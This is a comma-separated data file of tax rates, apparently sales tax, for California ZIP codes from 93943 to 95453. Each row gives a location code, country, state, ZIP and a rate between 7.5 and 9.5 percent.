US-CA-93943,US,CA,93943,7.5,,,, US-CA-93944,US,CA,93944,7.5,,,, US-CA-93950,US,CA,93950,8.5,,,, US-CA-93953,US,CA,93953,7.5,,,, US-CA-93954,US,CA,93954,7.5,,,, US-CA-93955,US,CA,93955,8.5,,,, US-CA-93960,US,CA,93960,8.5,,,, US-CA-93962,US,CA,93962,7.5,,,, US-CA-94002,US,CA,94002,9,,,, US-CA-94005,US,CA,94005,9,,,, US-CA-94010,US,CA,94010,9,,,, US-CA-94011,US,CA,94011,9,,,, US-CA-94014,US,CA,94014,9,,,, US-CA-94015,US,CA,94015,9,,,, US-CA-94016,US,CA,94016,9,,,, US-CA-94017,US,CA,94017,9,,,, US-CA-94018,US,CA,94018,9,,,, US-CA-94019,US,CA,94019,9.5,,,, US-CA-94020,US,CA,94020,9,,,, US-CA-94021,US,CA,94021,9,,,, US-CA-94022,US,CA,94022,8.75,,,, US-CA-94023,US,CA,94023,8.75,,,, US-CA-94024,US,CA,94024,8.75,,,, US-CA-94025,US,CA,94025,9,,,, US-CA-94026,US,CA,94026,9,,,, US-CA-94027,US,CA,94027,9,,,, US-CA-94028,US,CA,94028,9,,,, US-CA-94030,US,CA,94030,9,,,, US-CA-94035,US,CA,94035,8.75,,,, US-CA-94037,US,CA,94037,9,,,, US-CA-94038,US,CA,94038,9,,,, US-CA-94039,US,CA,94039,8.75,,,, US-CA-94040,US,CA,94040,8.75,,,, US-CA-94041,US,CA,94041,8.75,,,, US-CA-94042,US,CA,94042,8.75,,,, US-CA-94043,US,CA,94043,8.75,,,, US-CA-94044,US,CA,94044,9,,,, US-CA-94060,US,CA,94060,9,,,, US-CA-94061,US,CA,94061,9,,,, US-CA-94062,US,CA,94062,9,,,, US-CA-94063,US,CA,94063,9,,,, US-CA-94064,US,CA,94064,9,,,, US-CA-94065,US,CA,94065,9,,,, US-CA-94066,US,CA,94066,9,,,, US-CA-94070,US,CA,94070,9,,,, US-CA-94074,US,CA,94074,9,,,, US-CA-94080,US,CA,94080,9,,,, US-CA-94083,US,CA,94083,9,,,, US-CA-94085,US,CA,94085,8.75,,,, US-CA-94086,US,CA,94086,8.75,,,, US-CA-94087,US,CA,94087,8.75,,,, US-CA-94088,US,CA,94088,8.75,,,, US-CA-94089,US,CA,94089,8.75,,,, US-CA-94102,US,CA,94102,8.75,,,, US-CA-94103,US,CA,94103,8.75,,,, US-CA-94104,US,CA,94104,8.75,,,, US-CA-94105,US,CA,94105,8.75,,,, US-CA-94107,US,CA,94107,8.75,,,, US-CA-94108,US,CA,94108,8.75,,,, US-CA-94109,US,CA,94109,8.75,,,, US-CA-94110,US,CA,94110,8.75,,,, US-CA-94111,US,CA,94111,8.75,,,, US-CA-94112,US,CA,94112,8.75,,,, US-CA-94114,US,CA,94114,8.75,,,, US-CA-94115,US,CA,94115,8.75,,,, US-CA-94116,US,CA,94116,8.75,,,, US-CA-94117,US,CA,94117,8.75,,,, US-CA-94118,US,CA,94118,8.75,,,, US-CA-94119,US,CA,94119,8.75,,,, US-CA-94120,US,CA,94120,8.75,,,, US-CA-94121,US,CA,94121,8.75,,,, US-CA-94122,US,CA,94122,8.75,,,, US-CA-94123,US,CA,94123,8.75,,,, US-CA-94124,US,CA,94124,8.75,,,, US-CA-94125,US,CA,94125,8.75,,,, US-CA-94126,US,CA,94126,8.75,,,, US-CA-94127,US,CA,94127,8.75,,,, US-CA-94128,US,CA,94128,9,,,, US-CA-94129,US,CA,94129,8.75,,,, US-CA-94130,US,CA,94130,8.75,,,, US-CA-94131,US,CA,94131,8.75,,,, US-CA-94132,US,CA,94132,8.75,,,, US-CA-94133,US,CA,94133,8.75,,,, US-CA-94134,US,CA,94134,8.75,,,, US-CA-94137,US,CA,94137,8.75,,,, US-CA-94139,US,CA,94139,8.75,,,, US-CA-94140,US,CA,94140,8.75,,,, US-CA-94141,US,CA,94141,8.75,,,, US-CA-94142,US,CA,94142,8.75,,,, US-CA-94143,US,CA,94143,8.75,,,, US-CA-94144,US,CA,94144,8.75,,,, US-CA-94145,US,CA,94145,8.75,,,, US-CA-94146,US,CA,94146,8.75,,,, US-CA-94147,US,CA,94147,8.75,,,, US-CA-94151,US,CA,94151,8.75,,,, US-CA-94153,US,CA,94153,8.75,,,, US-CA-94154,US,CA,94154,8.75,,,, US-CA-94158,US,CA,94158,8.75,,,, US-CA-94159,US,CA,94159,8.75,,,, US-CA-94160,US,CA,94160,8.75,,,, US-CA-94161,US,CA,94161,8.75,,,, US-CA-94163,US,CA,94163,8.75,,,, US-CA-94164,US,CA,94164,8.75,,,, US-CA-94171,US,CA,94171,8.75,,,, US-CA-94172,US,CA,94172,8.75,,,, US-CA-94177,US,CA,94177,8.75,,,, US-CA-94188,US,CA,94188,8.75,,,, US-CA-94203,US,CA,94203,8,,,, US-CA-94204,US,CA,94204,8.5,,,, US-CA-94205,US,CA,94205,8,,,, US-CA-94206,US,CA,94206,8,,,, US-CA-94207,US,CA,94207,8.5,,,, US-CA-94208,US,CA,94208,8.5,,,, US-CA-94209,US,CA,94209,8.5,,,, US-CA-94211,US,CA,94211,8.5,,,, US-CA-94229,US,CA,94229,8.5,,,, US-CA-94230,US,CA,94230,8,,,, US-CA-94232,US,CA,94232,8,,,, US-CA-94234,US,CA,94234,8.5,,,, US-CA-94235,US,CA,94235,8.5,,,, US-CA-94236,US,CA,94236,8.5,,,, US-CA-94237,US,CA,94237,8.5,,,, US-CA-94239,US,CA,94239,8,,,, US-CA-94240,US,CA,94240,8,,,, US-CA-94244,US,CA,94244,8,,,, US-CA-94245,US,CA,94245,8.5,,,, US-CA-94246,US,CA,94246,8,,,, US-CA-94247,US,CA,94247,8,,,, US-CA-94248,US,CA,94248,8.5,,,, US-CA-94249,US,CA,94249,8.5,,,, US-CA-94250,US,CA,94250,8,,,, US-CA-94252,US,CA,94252,8.5,,,, US-CA-94254,US,CA,94254,8,,,, US-CA-94256,US,CA,94256,8,,,, US-CA-94257,US,CA,94257,8,,,, US-CA-94258,US,CA,94258,8,,,, US-CA-94259,US,CA,94259,8,,,, US-CA-94261,US,CA,94261,8,,,, US-CA-94262,US,CA,94262,8,,,, US-CA-94263,US,CA,94263,8,,,, US-CA-94267,US,CA,94267,8,,,, US-CA-94268,US,CA,94268,8.5,,,, US-CA-94269,US,CA,94269,8,,,, US-CA-94271,US,CA,94271,8.5,,,, US-CA-94273,US,CA,94273,8.5,,,, US-CA-94274,US,CA,94274,8.5,,,, US-CA-94277,US,CA,94277,8.5,,,, US-CA-94278,US,CA,94278,8.5,,,, US-CA-94279,US,CA,94279,8.5,,,, US-CA-94280,US,CA,94280,8,,,, US-CA-94282,US,CA,94282,8,,,, US-CA-94283,US,CA,94283,8.5,,,, US-CA-94284,US,CA,94284,8,,,, US-CA-94285,US,CA,94285,8,,,, US-CA-94286,US,CA,94286,8.5,,,, US-CA-94287,US,CA,94287,8,,,, US-CA-94288,US,CA,94288,8.5,,,, US-CA-94289,US,CA,94289,8,,,, US-CA-94290,US,CA,94290,8,,,, US-CA-94291,US,CA,94291,8.5,,,, US-CA-94293,US,CA,94293,8,,,, US-CA-94294,US,CA,94294,8,,,, US-CA-94295,US,CA,94295,8.5,,,, US-CA-94296,US,CA,94296,8.5,,,, US-CA-94297,US,CA,94297,8,,,, US-CA-94298,US,CA,94298,8,,,, US-CA-94299,US,CA,94299,8.5,,,, US-CA-94301,US,CA,94301,8.75,,,, US-CA-94302,US,CA,94302,8.75,,,, US-CA-94303,US,CA,94303,8.75,,,, US-CA-94304,US,CA,94304,8.75,,,, US-CA-94305,US,CA,94305,8.75,,,, US-CA-94306,US,CA,94306,8.75,,,, US-CA-94309,US,CA,94309,8.75,,,, US-CA-94401,US,CA,94401,9.25,,,, US-CA-94402,US,CA,94402,9.25,,,, US-CA-94403,US,CA,94403,9.25,,,, US-CA-94404,US,CA,94404,9,,,, US-CA-94497,US,CA,94497,9.25,,,, US-CA-94501,US,CA,94501,9,,,, US-CA-94502,US,CA,94502,9,,,, US-CA-94503,US,CA,94503,8,,,, US-CA-94505,US,CA,94505,8.5,,,, US-CA-94506,US,CA,94506,8.5,,,, US-CA-94507,US,CA,94507,8.5,,,, US-CA-94508,US,CA,94508,8,,,, US-CA-94509,US,CA,94509,8.5,,,, US-CA-94510,US,CA,94510,7.625,,,, US-CA-94511,US,CA,94511,8.5,,,, US-CA-94512,US,CA,94512,7.625,,,, US-CA-94513,US,CA,94513,8.5,,,, US-CA-94514,US,CA,94514,8.5,,,, US-CA-94515,US,CA,94515,8,,,, US-CA-94516,US,CA,94516,8.5,,,, US-CA-94517,US,CA,94517,8.5,,,, US-CA-94518,US,CA,94518,9,,,, US-CA-94519,US,CA,94519,9,,,, US-CA-94520,US,CA,94520,9,,,, US-CA-94521,US,CA,94521,9,,,, US-CA-94522,US,CA,94522,9,,,, US-CA-94523,US,CA,94523,8.5,,,, US-CA-94524,US,CA,94524,9,,,, US-CA-94525,US,CA,94525,8.5,,,, US-CA-94526,US,CA,94526,8.5,,,, US-CA-94527,US,CA,94527,9,,,, US-CA-94528,US,CA,94528,8.5,,,, US-CA-94529,US,CA,94529,9,,,, US-CA-94530,US,CA,94530,9.5,,,, US-CA-94531,US,CA,94531,8.5,,,, US-CA-94533,US,CA,94533,8.625,,,, US-CA-94534,US,CA,94534,8.625,,,, US-CA-94535,US,CA,94535,8.625,,,, US-CA-94536,US,CA,94536,9,,,, US-CA-94537,US,CA,94537,9,,,, US-CA-94538,US,CA,94538,9,,,, US-CA-94539,US,CA,94539,9,,,, US-CA-94540,US,CA,94540,9,,,, US-CA-94541,US,CA,94541,9,,,, US-CA-94542,US,CA,94542,9,,,, US-CA-94543,US,CA,94543,9,,,, US-CA-94544,US,CA,94544,9,,,, US-CA-94545,US,CA,94545,9,,,, US-CA-94546,US,CA,94546,9,,,, US-CA-94547,US,CA,94547,9,,,, US-CA-94548,US,CA,94548,8.5,,,, US-CA-94549,US,CA,94549,8.5,,,, US-CA-94550,US,CA,94550,9,,,, US-CA-94551,US,CA,94551,9,,,, US-CA-94552,US,CA,94552,9,,,, US-CA-94553,US,CA,94553,8.5,,,, US-CA-94555,US,CA,94555,9,,,, US-CA-94556,US,CA,94556,9.5,,,, US-CA-94557,US,CA,94557,9,,,, US-CA-94558,US,CA,94558,8,,,, US-CA-94559,US,CA,94559,8,,,, US-CA-94560,US,CA,94560,9,,,, US-CA-94561,US,CA,94561,8.5,,,, US-CA-94562,US,CA,94562,8,,,, US-CA-94563,US,CA,94563,9,,,, US-CA-94564,US,CA,94564,9,,,, US-CA-94565,US,CA,94565,9,,,, US-CA-94566,US,CA,94566,9,,,, US-CA-94567,US,CA,94567,8,,,, US-CA-94568,US,CA,94568,9,,,, US-CA-94569,US,CA,94569,8.5,,,, US-CA-94570,US,CA,94570,9.5,,,, US-CA-94571,US,CA,94571,8.375,,,, US-CA-94572,US,CA,94572,8.5,,,, US-CA-94573,US,CA,94573,8,,,, US-CA-94574,US,CA,94574,8,,,, US-CA-94575,US,CA,94575,9.5,,,, US-CA-94576,US,CA,94576,8,,,, US-CA-94577,US,CA,94577,9.25,,,, US-CA-94578,US,CA,94578,9.25,,,, US-CA-94579,US,CA,94579,9.25,,,, US-CA-94580,US,CA,94580,9,,,, US-CA-94581,US,CA,94581,8,,,, US-CA-94582,US,CA,94582,8.5,,,, US-CA-94583,US,CA,94583,8.5,,,, US-CA-94585,US,CA,94585,7.625,,,, US-CA-94586,US,CA,94586,9,,,, US-CA-94587,US,CA,94587,9.5,,,, US-CA-94588,US,CA,94588,9,,,, US-CA-94589,US,CA,94589,8.625,,,, US-CA-94590,US,CA,94590,8.625,,,, US-CA-94591,US,CA,94591,8.625,,,, US-CA-94592,US,CA,94592,8.625,,,, US-CA-94595,US,CA,94595,8.5,,,, US-CA-94596,US,CA,94596,8.5,,,, US-CA-94597,US,CA,94597,8.5,,,, US-CA-94598,US,CA,94598,8.5,,,, US-CA-94599,US,CA,94599,8,,,, US-CA-94601,US,CA,94601,9,,,, US-CA-94602,US,CA,94602,9,,,, US-CA-94603,US,CA,94603,9,,,, US-CA-94604,US,CA,94604,9,,,, US-CA-94605,US,CA,94605,9,,,, US-CA-94606,US,CA,94606,9,,,, US-CA-94607,US,CA,94607,9,,,, US-CA-94608,US,CA,94608,9,,,, US-CA-94609,US,CA,94609,9,,,, US-CA-94610,US,CA,94610,9,,,, US-CA-94611,US,CA,94611,9,,,, US-CA-94612,US,CA,94612,9,,,, US-CA-94613,US,CA,94613,9,,,, US-CA-94614,US,CA,94614,9,,,, US-CA-94615,US,CA,94615,9,,,, US-CA-94617,US,CA,94617,9,,,, US-CA-94618,US,CA,94618,9,,,, US-CA-94619,US,CA,94619,9,,,, US-CA-94620,US,CA,94620,9,,,, US-CA-94621,US,CA,94621,9,,,, US-CA-94622,US,CA,94622,9,,,, US-CA-94623,US,CA,94623,9,,,, US-CA-94624,US,CA,94624,9,,,, US-CA-94649,US,CA,94649,9,,,, US-CA-94659,US,CA,94659,9,,,, US-CA-94660,US,CA,94660,9,,,, US-CA-94661,US,CA,94661,9,,,, US-CA-94662,US,CA,94662,9,,,, US-CA-94666,US,CA,94666,9,,,, US-CA-94701,US,CA,94701,9,,,, US-CA-94702,US,CA,94702,9,,,, US-CA-94703,US,CA,94703,9,,,, US-CA-94704,US,CA,94704,9,,,, US-CA-94705,US,CA,94705,9,,,, US-CA-94706,US,CA,94706,9.5,,,, US-CA-94707,US,CA,94707,9,,,, US-CA-94708,US,CA,94708,9,,,, US-CA-94709,US,CA,94709,9,,,, US-CA-94710,US,CA,94710,9,,,, US-CA-94712,US,CA,94712,9,,,, US-CA-94720,US,CA,94720,9,,,, US-CA-94801,US,CA,94801,9,,,, US-CA-94802,US,CA,94802,9,,,, US-CA-94803,US,CA,94803,8.5,,,, US-CA-94804,US,CA,94804,9,,,, US-CA-94805,US,CA,94805,9,,,, US-CA-94806,US,CA,94806,9,,,, US-CA-94807,US,CA,94807,9,,,, US-CA-94808,US,CA,94808,9,,,, US-CA-94820,US,CA,94820,8.5,,,, US-CA-94850,US,CA,94850,9,,,, US-CA-94901,US,CA,94901,9,,,, US-CA-94903,US,CA,94903,9,,,, US-CA-94904,US,CA,94904,8.5,,,, US-CA-94912,US,CA,94912,9,,,, US-CA-94913,US,CA,94913,9,,,, US-CA-94914,US,CA,94914,8.5,,,, US-CA-94915,US,CA,94915,9,,,, US-CA-94920,US,CA,94920,8.5,,,, US-CA-94922,US,CA,94922,8.25,,,, US-CA-94923,US,CA,94923,8.25,,,, US-CA-94924,US,CA,94924,8.5,,,, US-CA-94925,US,CA,94925,8.5,,,, US-CA-94926,US,CA,94926,8.75,,,, US-CA-94927,US,CA,94927,8.75,,,, US-CA-94928,US,CA,94928,8.75,,,, US-CA-94929,US,CA,94929,8.5,,,, US-CA-94930,US,CA,94930,9,,,, US-CA-94931,US,CA,94931,8.75,,,, US-CA-94933,US,CA,94933,8.5,,,, US-CA-94937,US,CA,94937,8.5,,,, US-CA-94938,US,CA,94938,8.5,,,, US-CA-94939,US,CA,94939,8.5,,,, US-CA-94940,US,CA,94940,8.5,,,, US-CA-94941,US,CA,94941,8.5,,,, US-CA-94942,US,CA,94942,8.5,,,, US-CA-94945,US,CA,94945,9,,,, US-CA-94946,US,CA,94946,8.5,,,, US-CA-94947,US,CA,94947,9,,,, US-CA-94948,US,CA,94948,9,,,, US-CA-94949,US,CA,94949,9,,,, US-CA-94950,US,CA,94950,8.5,,,, US-CA-94951,US,CA,94951,8.25,,,, US-CA-94952,US,CA,94952,8.25,,,, US-CA-94953,US,CA,94953,8.25,,,, US-CA-94954,US,CA,94954,8.25,,,, US-CA-94955,US,CA,94955,8.25,,,, US-CA-94956,US,CA,94956,8.5,,,, US-CA-94957,US,CA,94957,8.5,,,, US-CA-94960,US,CA,94960,8.5,,,, US-CA-94963,US,CA,94963,8.5,,,, US-CA-94964,US,CA,94964,8.5,,,, US-CA-94965,US,CA,94965,8.5,,,, US-CA-94966,US,CA,94966,8.5,,,, US-CA-94970,US,CA,94970,8.5,,,, US-CA-94971,US,CA,94971,8.5,,,, US-CA-94972,US,CA,94972,8.25,,,, US-CA-94973,US,CA,94973,8.5,,,, US-CA-94974,US,CA,94974,8.5,,,, US-CA-94975,US,CA,94975,8.25,,,, US-CA-94976,US,CA,94976,8.5,,,, US-CA-94977,US,CA,94977,8.5,,,, US-CA-94978,US,CA,94978,9,,,, US-CA-94979,US,CA,94979,8.5,,,, US-CA-94998,US,CA,94998,9,,,, US-CA-94999,US,CA,94999,8.25,,,, US-CA-95001,US,CA,95001,8.25,,,, US-CA-95002,US,CA,95002,8.75,,,, US-CA-95003,US,CA,95003,8.25,,,, US-CA-95004,US,CA,95004,7.5,,,, US-CA-95005,US,CA,95005,8.25,,,, US-CA-95006,US,CA,95006,8.25,,,, US-CA-95007,US,CA,95007,8.25,,,, US-CA-95008,US,CA,95008,9,,,, US-CA-95009,US,CA,95009,9,,,, US-CA-95010,US,CA,95010,8.75,,,, US-CA-95011,US,CA,95011,9,,,, US-CA-95012,US,CA,95012,7.5,,,, US-CA-95013,US,CA,95013,8.75,,,, US-CA-95014,US,CA,95014,8.75,,,, US-CA-95015,US,CA,95015,8.75,,,, US-CA-95017,US,CA,95017,8.25,,,, US-CA-95018,US,CA,95018,8.25,,,, US-CA-95019,US,CA,95019,8.5,,,, US-CA-95020,US,CA,95020,8.75,,,, US-CA-95021,US,CA,95021,8.75,,,, US-CA-95023,US,CA,95023,8.5,,,, US-CA-95024,US,CA,95024,8.5,,,, US-CA-95026,US,CA,95026,8.75,,,, US-CA-95030,US,CA,95030,8.75,,,, US-CA-95031,US,CA,95031,8.75,,,, US-CA-95032,US,CA,95032,8.75,,,, US-CA-95033,US,CA,95033,8.25,,,, US-CA-95035,US,CA,95035,8.75,,,, US-CA-95036,US,CA,95036,8.75,,,, US-CA-95037,US,CA,95037,8.75,,,, US-CA-95038,US,CA,95038,8.75,,,, US-CA-95039,US,CA,95039,7.5,,,, US-CA-95041,US,CA,95041,8.25,,,, US-CA-95042,US,CA,95042,8.75,,,, US-CA-95043,US,CA,95043,7.5,,,, US-CA-95044,US,CA,95044,8.75,,,, US-CA-95045,US,CA,95045,7.5,,,, US-CA-95046,US,CA,95046,8.75,,,, US-CA-95050,US,CA,95050,8.75,,,, US-CA-95051,US,CA,95051,8.75,,,, US-CA-95052,US,CA,95052,8.75,,,, US-CA-95053,US,CA,95053,8.75,,,, US-CA-95054,US,CA,95054,8.75,,,, US-CA-95055,US,CA,95055,8.75,,,, US-CA-95056,US,CA,95056,8.75,,,, US-CA-95060,US,CA,95060,8.75,,,, US-CA-95061,US,CA,95061,8.75,,,, US-CA-95062,US,CA,95062,8.25,,,, US-CA-95063,US,CA,95063,8.75,,,, US-CA-95064,US,CA,95064,8.75,,,, US-CA-95065,US,CA,95065,8.25,,,, US-CA-95066,US,CA,95066,8.25,,,, US-CA-95067,US,CA,95067,8.25,,,, US-CA-95070,US,CA,95070,8.75,,,, US-CA-95071,US,CA,95071,8.75,,,, US-CA-95073,US,CA,95073,8.25,,,, US-CA-95075,US,CA,95075,7.5,,,, US-CA-95076,US,CA,95076,8.5,,,, US-CA-95077,US,CA,95077,8.5,,,, US-CA-95101,US,CA,95101,8.75,,,, US-CA-95103,US,CA,95103,8.75,,,, US-CA-95106,US,CA,95106,8.75,,,, US-CA-95108,US,CA,95108,8.75,,,, US-CA-95109,US,CA,95109,8.75,,,, US-CA-95110,US,CA,95110,8.75,,,, US-CA-95111,US,CA,95111,8.75,,,, US-CA-95112,US,CA,95112,8.75,,,, US-CA-95113,US,CA,95113,8.75,,,, US-CA-95115,US,CA,95115,8.75,,,, US-CA-95116,US,CA,95116,8.75,,,, US-CA-95117,US,CA,95117,8.75,,,, US-CA-95118,US,CA,95118,8.75,,,, US-CA-95119,US,CA,95119,8.75,,,, US-CA-95120,US,CA,95120,8.75,,,, US-CA-95121,US,CA,95121,8.75,,,, US-CA-95122,US,CA,95122,8.75,,,, US-CA-95123,US,CA,95123,8.75,,,, US-CA-95124,US,CA,95124,8.75,,,, US-CA-95125,US,CA,95125,8.75,,,, US-CA-95126,US,CA,95126,8.75,,,, US-CA-95127,US,CA,95127,8.75,,,, US-CA-95128,US,CA,95128,8.75,,,, US-CA-95129,US,CA,95129,8.75,,,, US-CA-95130,US,CA,95130,8.75,,,, US-CA-95131,US,CA,95131,8.75,,,, US-CA-95132,US,CA,95132,8.75,,,, US-CA-95133,US,CA,95133,8.75,,,, US-CA-95134,US,CA,95134,8.75,,,, US-CA-95135,US,CA,95135,8.75,,,, US-CA-95136,US,CA,95136,8.75,,,, US-CA-95138,US,CA,95138,8.75,,,, US-CA-95139,US,CA,95139,8.75,,,, US-CA-95140,US,CA,95140,8.75,,,, US-CA-95141,US,CA,95141,8.75,,,, US-CA-95148,US,CA,95148,8.75,,,, US-CA-95150,US,CA,95150,8.75,,,, US-CA-95151,US,CA,95151,8.75,,,, US-CA-95152,US,CA,95152,8.75,,,, US-CA-95153,US,CA,95153,8.75,,,, US-CA-95154,US,CA,95154,8.75,,,, US-CA-95155,US,CA,95155,8.75,,,, US-CA-95156,US,CA,95156,8.75,,,, US-CA-95157,US,CA,95157,8.75,,,, US-CA-95158,US,CA,95158,8.75,,,, US-CA-95159,US,CA,95159,8.75,,,, US-CA-95160,US,CA,95160,8.75,,,, US-CA-95161,US,CA,95161,8.75,,,, US-CA-95164,US,CA,95164,8.75,,,, US-CA-95170,US,CA,95170,8.75,,,, US-CA-95172,US,CA,95172,8.75,,,, US-CA-95173,US,CA,95173,8.75,,,, US-CA-95190,US,CA,95190,8.75,,,, US-CA-95191,US,CA,95191,8.75,,,, US-CA-95192,US,CA,95192,8.75,,,, US-CA-95193,US,CA,95193,8.75,,,, US-CA-95194,US,CA,95194,8.75,,,, US-CA-95196,US,CA,95196,8.75,,,, US-CA-95201,US,CA,95201,8,,,, US-CA-95202,US,CA,95202,8.25,,,, US-CA-95203,US,CA,95203,8.25,,,, US-CA-95204,US,CA,95204,8.25,,,, US-CA-95205,US,CA,95205,8.25,,,, US-CA-95206,US,CA,95206,8.25,,,, US-CA-95207,US,CA,95207,8.25,,,, US-CA-95208,US,CA,95208,8,,,, US-CA-95209,US,CA,95209,8.25,,,, US-CA-95210,US,CA,95210,8.25,,,, US-CA-95211,US,CA,95211,8.25,,,, US-CA-95212,US,CA,95212,8,,,, US-CA-95213,US,CA,95213,8,,,, US-CA-95215,US,CA,95215,8,,,, US-CA-95219,US,CA,95219,8.25,,,, US-CA-95220,US,CA,95220,8,,,, US-CA-95221,US,CA,95221,7.5,,,, US-CA-95222,US,CA,95222,7.5,,,, US-CA-95223,US,CA,95223,7.5,,,, US-CA-95224,US,CA,95224,7.5,,,, US-CA-95225,US,CA,95225,7.5,,,, US-CA-95226,US,CA,95226,7.5,,,, US-CA-95227,US,CA,95227,8,,,, US-CA-95228,US,CA,95228,7.5,,,, US-CA-95229,US,CA,95229,7.5,,,, US-CA-95230,US,CA,95230,8,,,, US-CA-95231,US,CA,95231,8,,,, US-CA-95232,US,CA,95232,7.5,,,, US-CA-95233,US,CA,95233,7.5,,,, US-CA-95234,US,CA,95234,8,,,, US-CA-95236,US,CA,95236,8,,,, US-CA-95237,US,CA,95237,8,,,, US-CA-95240,US,CA,95240,8,,,, US-CA-95241,US,CA,95241,8,,,, US-CA-95242,US,CA,95242,8,,,, US-CA-95245,US,CA,95245,7.5,,,, US-CA-95246,US,CA,95246,7.5,,,, US-CA-95247,US,CA,95247,7.5,,,, US-CA-95248,US,CA,95248,7.5,,,, US-CA-95249,US,CA,95249,7.5,,,, US-CA-95251,US,CA,95251,7.5,,,, US-CA-95252,US,CA,95252,7.5,,,, US-CA-95253,US,CA,95253,8,,,, US-CA-95254,US,CA,95254,7.5,,,, US-CA-95255,US,CA,95255,7.5,,,, US-CA-95257,US,CA,95257,7.5,,,, US-CA-95258,US,CA,95258,8,,,, US-CA-95267,US,CA,95267,8.25,,,, US-CA-95269,US,CA,95269,8.25,,,, US-CA-95296,US,CA,95296,8,,,, US-CA-95297,US,CA,95297,8.25,,,, US-CA-95301,US,CA,95301,8,,,, US-CA-95303,US,CA,95303,7.5,,,, US-CA-95304,US,CA,95304,8,,,, US-CA-95305,US,CA,95305,7.5,,,, US-CA-95306,US,CA,95306,8,,,, US-CA-95307,US,CA,95307,8.125,,,, US-CA-95309,US,CA,95309,7.5,,,, US-CA-95310,US,CA,95310,7.5,,,, US-CA-95311,US,CA,95311,8,,,, US-CA-95312,US,CA,95312,7.5,,,, US-CA-95313,US,CA,95313,7.625,,,, US-CA-95315,US,CA,95315,7.5,,,, US-CA-95316,US,CA,95316,7.625,,,, US-CA-95317,US,CA,95317,7.5,,,, US-CA-95318,US,CA,95318,8,,,, US-CA-95319,US,CA,95319,7.625,,,, US-CA-95320,US,CA,95320,8,,,, US-CA-95321,US,CA,95321,7.5,,,, US-CA-95322,US,CA,95322,8,,,, US-CA-95323,US,CA,95323,7.625,,,, US-CA-95324,US,CA,95324,7.5,,,, US-CA-95325,US,CA,95325,8,,,, US-CA-95326,US,CA,95326,7.625,,,, US-CA-95327,US,CA,95327,7.5,,,, US-CA-95328,US,CA,95328,7.625,,,, US-CA-95329,US,CA,95329,7.5,,,, US-CA-95330,US,CA,95330,9,,,, US-CA-95333,US,CA,95333,7.5,,,, US-CA-95334,US,CA,95334,7.5,,,, US-CA-95335,US,CA,95335,7.5,,,, US-CA-95336,US,CA,95336,8.5,,,, US-CA-95337,US,CA,95337,8.5,,,, US-CA-95338,US,CA,95338,8,,,, US-CA-95340,US,CA,95340,8,,,, US-CA-95341,US,CA,95341,8,,,, US-CA-95343,US,CA,95343,7.5,,,, US-CA-95344,US,CA,95344,8,,,, US-CA-95345,US,CA,95345,8,,,, US-CA-95346,US,CA,95346,7.5,,,, US-CA-95347,US,CA,95347,7.5,,,, US-CA-95348,US,CA,95348,8,,,, US-CA-95350,US,CA,95350,7.625,,,, US-CA-95351,US,CA,95351,7.625,,,, US-CA-95352,US,CA,95352,7.625,,,, US-CA-95353,US,CA,95353,7.625,,,, US-CA-95354,US,CA,95354,7.625,,,, US-CA-95355,US,CA,95355,7.625,,,, US-CA-95356,US,CA,95356,7.625,,,, US-CA-95357,US,CA,95357,7.625,,,, US-CA-95358,US,CA,95358,7.625,,,, US-CA-95360,US,CA,95360,7.625,,,, US-CA-95361,US,CA,95361,8.125,,,, US-CA-95363,US,CA,95363,7.625,,,, US-CA-95364,US,CA,95364,7.5,,,, US-CA-95365,US,CA,95365,7.5,,,, US-CA-95366,US,CA,95366,8,,,, US-CA-95367,US,CA,95367,7.625,,,, US-CA-95368,US,CA,95368,7.625,,,, US-CA-95369,US,CA,95369,7.5,,,, US-CA-95370,US,CA,95370,7.5,,,, US-CA-95372,US,CA,95372,7.5,,,, US-CA-95373,US,CA,95373,7.5,,,, US-CA-95374,US,CA,95374,7.5,,,, US-CA-95375,US,CA,95375,7.5,,,, US-CA-95376,US,CA,95376,8.5,,,, US-CA-95377,US,CA,95377,8.5,,,, US-CA-95378,US,CA,95378,8.5,,,, US-CA-95379,US,CA,95379,7.5,,,, US-CA-95380,US,CA,95380,7.625,,,, US-CA-95381,US,CA,95381,7.625,,,, US-CA-95382,US,CA,95382,7.625,,,, US-CA-95383,US,CA,95383,7.5,,,, US-CA-95385,US,CA,95385,7.625,,,, US-CA-95386,US,CA,95386,7.625,,,, US-CA-95387,US,CA,95387,7.625,,,, US-CA-95388,US,CA,95388,7.5,,,, US-CA-95389,US,CA,95389,8,,,, US-CA-95391,US,CA,95391,8,,,, US-CA-95397,US,CA,95397,7.625,,,, US-CA-95401,US,CA,95401,8.75,,,, US-CA-95402,US,CA,95402,8.75,,,, US-CA-95403,US,CA,95403,8.75,,,, US-CA-95404,US,CA,95404,8.75,,,, US-CA-95405,US,CA,95405,8.75,,,, US-CA-95406,US,CA,95406,8.75,,,, US-CA-95407,US,CA,95407,8.75,,,, US-CA-95409,US,CA,95409,8.75,,,, US-CA-95410,US,CA,95410,7.625,,,, US-CA-95412,US,CA,95412,8.25,,,, US-CA-95415,US,CA,95415,7.625,,,, US-CA-95416,US,CA,95416,8.25,,,, US-CA-95417,US,CA,95417,7.625,,,, US-CA-95418,US,CA,95418,7.625,,,, US-CA-95419,US,CA,95419,8.25,,,, US-CA-95420,US,CA,95420,7.625,,,, US-CA-95421,US,CA,95421,8.25,,,, US-CA-95422,US,CA,95422,8,,,, US-CA-95423,US,CA,95423,7.5,,,, US-CA-95424,US,CA,95424,8,,,, US-CA-95425,US,CA,95425,8.25,,,, US-CA-95426,US,CA,95426,7.5,,,, US-CA-95427,US,CA,95427,7.625,,,, US-CA-95428,US,CA,95428,7.625,,,, US-CA-95429,US,CA,95429,7.625,,,, US-CA-95430,US,CA,95430,8.25,,,, US-CA-95431,US,CA,95431,8.25,,,, US-CA-95432,US,CA,95432,7.625,,,, US-CA-95433,US,CA,95433,8.25,,,, US-CA-95435,US,CA,95435,7.5,,,, US-CA-95436,US,CA,95436,8.25,,,, US-CA-95437,US,CA,95437,8.625,,,, US-CA-95439,US,CA,95439,8.25,,,, US-CA-95441,US,CA,95441,8.25,,,, US-CA-95442,US,CA,95442,8.25,,,, US-CA-95443,US,CA,95443,7.5,,,, US-CA-95444,US,CA,95444,8.25,,,, US-CA-95445,US,CA,95445,7.625,,,, US-CA-95446,US,CA,95446,8.25,,,, US-CA-95448,US,CA,95448,8.75,,,, US-CA-95449,US,CA,95449,7.625,,,, US-CA-95450,US,CA,95450,8.25,,,, US-CA-95451,US,CA,95451,7.5,,,, US-CA-95452,US,CA,95452,8.25,,,, US-CA-95453,US,CA,95453,8,,,, 